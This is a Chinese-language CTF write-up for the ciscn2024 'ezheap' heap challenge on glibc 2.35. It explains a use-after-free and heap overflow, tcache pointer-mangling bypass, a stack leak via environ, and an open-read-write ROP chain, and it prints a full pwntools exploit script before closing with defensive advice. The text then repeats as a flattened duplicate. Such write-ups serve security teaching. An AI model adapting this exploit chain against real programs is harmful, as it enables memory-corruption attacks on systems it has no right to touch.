利用environ变量实现堆题打栈--以ciscn2024 ezheap为例
字数 2392 2025-08-22 18:37:22

利用environ变量实现堆题打栈攻击技术详解

1. 题目背景分析

1.1 题目基本信息

  • 题目名称:ciscn2024 ezheap
  • glibc版本:2.35
  • 保护机制:开启sandbox,限制为只能使用orw和mprotect
  • 攻击目标:劫持程序执行流实现ORW读取flag

1.2 题目功能分析

  • 主函数:提供基本的菜单功能,包括添加、删除、编辑和显示堆块
  • add函数
    • 最多可管理80个堆块(0-79)
    • 堆块大小限制为不超过0x501
    • 申请后会将堆块数据清零再填充用户输入
    • 使用循环查找空闲索引,释放的堆块索引会被优先复用
  • delete函数
    • 存在UAF漏洞:free的是void**类型数据,但只清空了数组中的指针
  • edit函数
    • 存在堆溢出漏洞:输入长度由用户控制,可超出堆块实际大小
  • show函数
    • 使用printf输出,遇到NULL字节才会停止

2. glibc 2.35关键保护机制

2.1 tcache堆指针异或加密(glibc-2.32引入)

  • 加密方式fd = (heap_addr >> 12) ^ (target_addr - 0x10)
  • 特性
    • 当tcache链表中只有一个堆块时,fd默认为0,此时堆块中存放的是(heap_addr >> 12) ^ 0
    • 这为泄露堆地址提供了便利

2.2 tcache chunk地址对齐检查(glibc-2.32引入)

  • 要求申请chunk的size最后一个字节必须为0x00
  • 否则会报错:malloc(): unaligned tcache chunk detected

2.3 hook函数消失(glibc-2.34之后)

  • 移除了malloc_hook等hook函数
  • 传统通过hook劫持执行流的方法失效

3. 攻击思路与步骤

3.1 泄露libc地址

  1. 申请4个0x408大小的堆块(0-3)
  2. 通过edit函数溢出修改chunk1的size为chunk1+chunk2的大小(0x821)
  3. 释放chunk1,这会同时将chunk2放入unsorted bin
  4. 重新申请chunk1,此时chunk2仍在unsorted bin中
  5. 显示chunk2的内容,泄露main_arena地址
  6. 计算libc基址:libc_base = leaked_addr - 0x21ace0

3.2 泄露堆地址

  1. 申请3个0x408大小的堆块(4-6)
  2. 释放chunk4,将其放入tcache
  3. 显示chunk2(仍指向原chunk2),由于tcache单链表特性,会泄露heap_addr >> 12
  4. 计算堆基址:heap_base = (leaked_data << 12)

3.3 泄露栈地址(利用environ变量)

  1. 获取environ变量地址:environ = libc_base + libc.sym['environ']
  2. 计算目标地址:target = environ - 0x410
  3. 释放chunk6,准备修改tcache fd
  4. 构造加密后的fd:fd = (heap_base + 0x16e0) >> 12 ^ target
  5. 通过edit溢出修改chunk5的fd指针
  6. 连续申请两个0x400大小的堆块,第二个将位于environ附近
  7. 使用show函数泄露出栈地址
  8. 计算返回地址位置:stack_addr = leaked_addr - 0x168

3.4 构造ORW链并劫持控制流

  1. 准备ORW的ROP链:
    orw = b'./flag\x00\x00'
    orw += p64(pop_rdi) + p64(stack_addr - 0x10)
    orw += p64(pop_rsi) + p64(0)
    orw += p64(pop_rax) + p64(2)
    orw += p64(syscall_ret)  # open("./flag", 0)
    orw += p64(pop_rax) + p64(0)
    orw += p64(pop_rdi) + p64(3)
    orw += p64(pop_rsi) + p64(stack_addr - 0x300)
    orw += p64(pop_rdx_rbx) + p64(0x30)*2
    orw += p64(syscall_ret)  # read(3, stack_addr-0x300, 0x30)
    orw += p64(pop_rax) + p64(1)
    orw += p64(pop_rdi) + p64(1)
    orw += p64(pop_rsi) + p64(stack_addr - 0x300)
    orw += p64(pop_rdx_rbx) + p64(0x30)*2
    orw += p64(syscall_ret)  # write(1, stack-0x300, 0x30)
    
  2. 申请新的堆块(7-10)
  3. 释放chunk9和chunk8,准备修改tcache fd
  4. 计算新的目标地址:target = stack_addr - 0x10
  5. 构造加密后的fd:fd = (heap_base + 0x1f00) >> 12 ^ target
  6. 通过edit溢出修改chunk7的fd指针
  7. 连续申请两个0x408大小的堆块,第二个将位于返回地址附近
  8. 在第二次申请时写入ORW链,覆盖返回地址

4. 关键技术与原理

4.1 environ变量利用原理

  • environ是libc导出的全局变量,存储了环境变量的地址
  • 环境变量位于栈上,与函数返回地址有固定偏移
  • 通过泄露environ可以定位栈上的返回地址

4.2 高版本堆利用特点

  1. 指针加密绕过

    • 必须正确计算加密后的指针值
    • 加密公式:encrypted_ptr = (heap_addr >> 12) ^ target_addr
  2. 执行流劫持替代方案

    • 由于hook函数移除,转向栈ROP或FSOP
    • 本方案选择直接修改栈返回地址
  3. tcache特性利用

    • 单链表时fd存储的是heap_addr >> 12
    • 可通过溢出修改fd实现任意地址分配

4.3 ORW构造技巧

  • 使用syscall而非libc函数调用,避免破坏栈结构
  • 文件描述符预测:open返回的fd通常是3
  • 字符串存储:将flag路径存储在ROP链中

5. 完整EXP代码

from pwn import *

context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn')
# io=remote("pwn.challenge.ctf.show",28193)
elf = ELF('./pwn')
libc = ELF('libc.so.6')

def dbg():
    gdb.attach(io)
    pause()

def bug():
    gdb.attach(io, "b *$rebase(0x16cc)")

def add(size, content):
    io.recvuntil(b'choice >>')
    io.sendline(str(1))
    io.recv()
    io.sendline(str(size))
    io.recv()
    io.sendline(content)

def free(idx):
    io.recvuntil(b'choice >>')
    io.sendline(str(2))
    io.recv()
    io.sendline(str(idx))

def show(idx):
    io.recvuntil(b'choice >>')
    io.sendline(str(4))
    io.recv()
    io.sendline(str(idx))

def edit(idx, size, content):
    io.recvuntil(b'choice >>')
    io.sendline(str(3))
    io.recv()
    io.sendline(str(idx))
    io.recv()
    io.sendline(str(size))
    io.recv()
    io.sendline(content)

# 泄露libc
add(0x408, b'aaaa') #0
add(0x408, b'aaaa') #1
add(0x408, b'aaaa') #2
add(0x408, b'aaaa') #3
edit(0, 0x500, b'a'*0x408 + p64(0x821))
free(1)
add(0x408, b'a') #1
show(2)
io.recvuntil(b'content:')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
print(hex(libc_base))

# 泄露堆地址
add(0x408, b'aaaaaaaa') #4
add(0x408, b'aaaaaaaa') #5
add(0x408, b'aaaaaaaa') #6
free(4)
show(2)
io.recvuntil(b'content:')
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
print(hex(heap_base))

# 准备gadgets
pop_rdi = libc_base + 0x002a3e5
pop_rsi = libc_base + 0x002be51
pop_rdx_rbx = libc_base + 0x0904a9
pop_rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x0091316
environ = libc_base + libc.sym['environ']

# 泄露栈地址
heap = (heap_base + 0x16e0) >> 12
tar = environ - 0x410
fd = heap ^ tar
free(6)
payload = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5, 0x500, payload)
print(hex(tar))
add(0x400, b'aaaaaaaa') #4
add(0x400, b'aaaaaaaa') #6
edit(6, 0x500, b'a'*0x40f)
show(6)
stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x168
print(hex(stack_addr))

# 构造ORW链
orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(stack_addr - 0x10)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall_ret)  # open("./flag",0)
orw += p64(pop_rax) + p64(0)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret)  # read(3,stack_addr-0x300,0x30)
orw += p64(pop_rax) + p64(1)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret)  # write(1,stack-0x300,0x30)

# 劫持控制流
add(0x408, b'aaaaaaaa') #7
add(0x408, b'aaaaaaaa') #8
add(0x408, b'aaaaaaaa') #9
add(0x408, b'aaaaaaaa') #10
free(9)
free(8)
heap = (heap_base + 0x1f00) >> 12
tar = stack_addr - 0x10
fd = heap ^ tar
payload = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7, 0x500, payload)
add(0x408, b'aaaaaaaa') #8
add(0x408, orw) #9

io.interactive()

6. 总结与防御建议

6.1 攻击技术总结

  • 结合UAF和堆溢出实现信息泄露
  • 利用environ变量定位栈地址
  • 通过tcache指针加密机制实现任意地址写
  • 直接修改返回地址实现控制流劫持

6.2 防御建议

  1. 对开发者

    • 严格检查堆块操作的长度
    • 释放后及时清空指针
    • 避免使用不安全的输出函数
  2. 对防护机制

    • 启用ASLR增加预测难度
    • 使用更严格的沙箱限制
    • 监控敏感变量如environ的访问
  3. 对CTF出题

    • 合理设置防护等级
    • 确保漏洞利用需要多步骤组合
    • 避免单一漏洞直接导致沦陷

这种利用environ变量攻击栈的技术在高版本glibc环境下尤为重要,特别是在hook函数移除后,为堆漏洞利用提供了一条可靠的攻击路径。理解并掌握这种技术对于现代二进制安全研究至关重要。

利用environ变量实现堆题打栈攻击技术详解 1. 题目背景分析 1.1 题目基本信息 题目名称:ciscn2024 ezheap glibc版本:2.35 保护机制:开启sandbox,限制为只能使用orw和mprotect 攻击目标:劫持程序执行流实现ORW读取flag 1.2 题目功能分析 主函数 :提供基本的菜单功能,包括添加、删除、编辑和显示堆块 add函数 : 最多可管理80个堆块(0-79) 堆块大小限制为不超过0x501 申请后会将堆块数据清零再填充用户输入 使用循环查找空闲索引,释放的堆块索引会被优先复用 delete函数 : 存在UAF漏洞:free的是void** 类型数据,但只清空了数组中的指针 edit函数 : 存在堆溢出漏洞:输入长度由用户控制,可超出堆块实际大小 show函数 : 使用printf输出,遇到NULL字节才会停止 2. glibc 2.35关键保护机制 2.1 tcache堆指针异或加密(glibc-2.32引入) 加密方式 : fd = (heap_addr >> 12) ^ (target_addr - 0x10) 特性 : 当tcache链表中只有一个堆块时,fd默认为0,此时堆块中存放的是 (heap_addr >> 12) ^ 0 这为泄露堆地址提供了便利 2.2 tcache chunk地址对齐检查(glibc-2.32引入) 要求申请chunk的size最后一个字节必须为0x00 否则会报错: malloc(): unaligned tcache chunk detected 2.3 hook函数消失(glibc-2.34之后) 移除了malloc_ hook等hook函数 传统通过hook劫持执行流的方法失效 3. 攻击思路与步骤 3.1 泄露libc地址 申请4个0x408大小的堆块(0-3) 通过edit函数溢出修改chunk1的size为chunk1+chunk2的大小(0x821) 释放chunk1,这会同时将chunk2放入unsorted bin 重新申请chunk1,此时chunk2仍在unsorted bin中 显示chunk2的内容,泄露main_ arena地址 计算libc基址: libc_base = leaked_addr - 0x21ace0 3.2 泄露堆地址 申请3个0x408大小的堆块(4-6) 释放chunk4,将其放入tcache 显示chunk2(仍指向原chunk2),由于tcache单链表特性,会泄露 heap_addr >> 12 计算堆基址: heap_base = (leaked_data << 12) 3.3 泄露栈地址(利用environ变量) 获取environ变量地址: environ = libc_base + libc.sym['environ'] 计算目标地址: target = environ - 0x410 释放chunk6,准备修改tcache fd 构造加密后的fd: fd = (heap_base + 0x16e0) >> 12 ^ target 通过edit溢出修改chunk5的fd指针 连续申请两个0x400大小的堆块,第二个将位于environ附近 使用show函数泄露出栈地址 计算返回地址位置: stack_addr = leaked_addr - 0x168 3.4 构造ORW链并劫持控制流 准备ORW的ROP链: 申请新的堆块(7-10) 释放chunk9和chunk8,准备修改tcache fd 计算新的目标地址: target = stack_addr - 0x10 构造加密后的fd: fd = (heap_base + 0x1f00) >> 12 ^ target 通过edit溢出修改chunk7的fd指针 连续申请两个0x408大小的堆块,第二个将位于返回地址附近 在第二次申请时写入ORW链,覆盖返回地址 4. 关键技术与原理 4.1 environ变量利用原理 environ是libc导出的全局变量,存储了环境变量的地址 环境变量位于栈上,与函数返回地址有固定偏移 通过泄露environ可以定位栈上的返回地址 4.2 高版本堆利用特点 指针加密绕过 : 必须正确计算加密后的指针值 加密公式: encrypted_ptr = (heap_addr >> 12) ^ target_addr 执行流劫持替代方案 : 由于hook函数移除,转向栈ROP或FSOP 本方案选择直接修改栈返回地址 tcache特性利用 : 单链表时fd存储的是 heap_addr >> 12 可通过溢出修改fd实现任意地址分配 4.3 ORW构造技巧 使用syscall而非libc函数调用,避免破坏栈结构 文件描述符预测:open返回的fd通常是3 字符串存储:将flag路径存储在ROP链中 5. 完整EXP代码 6. 总结与防御建议 6.1 攻击技术总结 结合UAF和堆溢出实现信息泄露 利用environ变量定位栈地址 通过tcache指针加密机制实现任意地址写 直接修改返回地址实现控制流劫持 6.2 防御建议 对开发者 : 严格检查堆块操作的长度 释放后及时清空指针 避免使用不安全的输出函数 对防护机制 : 启用ASLR增加预测难度 使用更严格的沙箱限制 监控敏感变量如environ的访问 对CTF出题 : 合理设置防护等级 确保漏洞利用需要多步骤组合 避免单一漏洞直接导致沦陷 这种利用environ变量攻击栈的技术在高版本glibc环境下尤为重要,特别是在hook函数移除后,为堆漏洞利用提供了一条可靠的攻击路径。理解并掌握这种技术对于现代二进制安全研究至关重要。